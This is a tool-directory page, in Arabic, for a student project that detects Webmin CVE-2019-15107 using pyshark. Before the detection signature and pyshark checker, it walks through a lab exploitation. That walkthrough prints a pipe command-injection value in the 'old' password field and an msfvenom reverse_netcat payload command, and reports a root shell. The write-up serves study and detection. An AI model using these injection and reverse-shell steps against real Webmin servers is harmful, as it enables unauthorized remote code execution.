Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
detect-CVE-2019-15107-by-pyshark — مشروع مدرسي | Kitploit
أدوات/GitHubGitHub/gozn/detect-cve-2019-15107-by-pyshark
التقاط وتحليل الحزمتحليل الثغرات الأمنيةالاستغلالأمن الويبأمن الشبكاتكشف التسللالتعلم والتعليم
GitHubgozn/detect-cve-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark

مشروع مدرسي

عرض المستودع
120منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

detect-CVE-2019-15107-by-pyshark

I. نظرة عامة عن CVE-2019-15107
Webmin هي واجهة ويب لإدارة النظام في Unix. باستخدام أي متصفح ويب، يمكنك إعداد حسابات المستخدمين، Apache، DNS، مشاركة الملفات والمزيد.
في 10 أغسطس 2019، أعلن باحث الأمن السيبراني التركي Özkan Mustafa Akkuş عن ثغرة Zero-day في مؤتمر DefCon، وإلى جانب الإعلان عن الثغرة، أصدر Akkuş أيضًا وحدة Metasploit لأتمتة استغلال هذه الثغرة. بسبب ثغرة تنفيذ الأكواد في وظيفة إعادة تعيين كلمة المرور في ملف password_change.cgi، تسمح هذه الثغرة لطرف ثالث بتنفيذ أكواد ضارة دون الحاجة إلى التحقق من صحة الإدخال.

II. الإصدارات المتأثرة
تؤثر هذه الثغرة على إصدارات Webmin من 1.882 إلى 1.921. لمنع هذه الثغرة، يجب على من يستخدمون Webmin التحديث إلى أحدث إصدار 1.93.

III. تحليل الثغرة
في Webmin، يجب تفعيل ميزة "السماح بتغيير كلمة مرور المستخدم" لاستغلال هذه الثغرة. هذا هو الشرط الوحيد، ولكن مع ذلك، يقوم العديد من مديري Webmin بتفعيل هذه الميزة. فهي تسمح للمستخدمين بتعيين كلمة مرور جديدة باستخدام كلمة المرور القديمة. في كود مصدر تطبيق Webmin، توجد بعض ملفات ".cgi" البارزة. أحدها هو password_change.cgi.
image

الشرط الوحيد لعمل المعاملات في هذا الملف هو أن تكون قيمة "passwd_mode" في ملف الإعدادات "miniserv.conf" مضبوطة على "2".
image

عند هذه النقطة، سنستخدم "|" عن طريق قراءة ملف /etc/shadow أثناء عملية التحقق من كلمة المرور القديمة. مثال على جملة تغيير كلمة المرور العادية:
image

إذا قمنا بإدراج أمر بسيط مثل "ifconfig" في جملة تغيير كلمة المرور كما في الشكل أدناه، فسيتم تنفيذ الأمر "ifconfig" وعرض النتيجة.
image

IV. نموذج النشر

  • جهاز Ubuntu (الضحية) مثبت عليه Webmin الإصدار 1.920 بعنوان IP: 192.168.109.128
    image

  • جهاز Kali (المهاجم) بعنوان IP: 192.168.109.131
    image

  • نظرًا لأن هذه الثغرة (CVE) تعتمد على وظيفة إعادة تعيين كلمة المرور عند انتهاء صلاحية كلمة المرور القديمة في Webmin، يجب أن يقوم الضحية بتثبيت Webmin في وضع "Prompt users with expired password to enter a new one".
    image

V. استغلال ثغرة CVE

  • في البداية، سيستخدم جهاز المهاجم Burp Suite لالتقاط الطلبات المرسلة عند تغيير كلمة المرور على Webmin من الرابط: 192.168.109.128:10000/password_change.cgi (ip الضحية)
    image

  • بعد ذلك، يرسل جهاز المهاجم هذا الطلب إلى علامة تبويب Repeater في Burp Suite لاختبار الثغرة.
    image

  • يقوم المهاجم بتعديل بعض المعلومات من حزمة الطلب الملتقطة. نظرًا لأن تغيير كلمة المرور يتطلب أن تكون طريقة HTTP هي POST وليس GET كما في البداية.
    image

  • ثم يرسل جهاز المهاجم طلبًا تجريبيًا لتغيير كلمة المرور من كلمة المرور القديمة إلى خادم Webmin الخاص بالضحية:
    "user=test&pam=&old=test&new1=test2&new2=test2"
    image

  • عند إرسال الطلب، سنتلقى رسالة تفيد بأن كلمة المرور القديمة غير صحيحة (The current password is incorrect)، لذا فإن الجوهر يكمن في المعامل "old".

  • بعد ذلك، نجرب إدراج أمر أساسي مثل ifconfig بعد المعامل old، بحيث عندما يتحقق الخادم من كلمة المرور القديمة، ينفذ الأمر الذي أدرجناه. على سبيل المثال:
    "user=test&pam=&old=test|ifconfig&new1=test2&new2=test2"
    image

  • وبالمثل، عندما يتحقق الخادم من كلمة المرور القديمة، تظل خاطئة، ولكن بعد التحقق، يتم تنفيذ الأمر "ifconfig" وعرضه.

  • بعد ذلك، للحصول على صلاحيات root، سنستخدم Metasploit framework لإنشاء حمولة (payload) وإرسالها إلى خادم Webmin الخاص بالضحية للحصول على جلسة shell.
    "msfvenom -p cmd/unix/reverse_netcat lhost= lport="
    image

  • بعد ذلك، ننسخ الحمولة وندرجها في الطلب على Burp Suite.
    image

  • بعد إرسال الطلب الذي يحتوي على الحمولة إلى خادم Webmin، يتم اختراق جهاز الضحية ويتلقى جهاز المهاجم جلسة shell إلى جهاز الضحية (ip: 192.168.109.128 port 37218).
    image

  • وهكذا، تمكنا من الحصول على صلاحيات root من خلال هذه الثغرة.
    image

VI. تحديد بصمة الهجوم

  • استخدام Wireshark لالتقاط حزم البيانات في طبقة الشبكة.
    image

  • نظرًا لأنه لاستغلال هذه الثغرة، سيعتمد المهاجم على الرابط /password_change.cgi لإرسال طلبات تحتوي على حمولات ضارة عبر طريقة POST في HTTP، لذا سنحتاج إلى تحليل حزم HTTP الملتقطة على Wireshark.
    image

  • نلاحظ أن الأمر "ifconfig" تم إدراجه أثناء عملية تحقق خادم Webmin من كلمة المرور القديمة المراد تغييرها.
    image image

  • لذلك، نحدد أن بصمة هذه الثغرة هي المعاملات التي يتم تمريرها أثناء عملية تغيير كلمة المرور عبر الرابط /password_change.cgi:
    "user=test&pam=&old=test | <الأمر الذي يريد المهاجم تنفيذه> &new1=test2&new2=test2"

VII. بناء أداة كشف هجوم CVE-2019-15107

  • كما حللنا أعلاه، لكي يستغل المهاجم هذه الثغرة، يجب عليه إدراج أوامر في المعامل old ("كلمة المرور القديمة") لتنفيذ الهجوم.
    image

  • لكشف من يحاول إدراج أوامر بناءً على هذه الثغرة، سنقوم بالتقاط وتحليل حزم HTTP التي يرسلونها باستخدام أداة "pyshark".
    image

  • البيانات في حزمة HTTP الملتقطة يتم إرجاعها بصيغة Hex. بناءً على المعامل "old=" والرمز "|"، يمكننا معرفة ما إذا كان هناك شخص يحاول استغلال هذه الثغرة. دالة checkPayload للتحقق مما إذا كانت حزمة HTTP تحتوي على مشكلة.
    image

تنزيل الأداة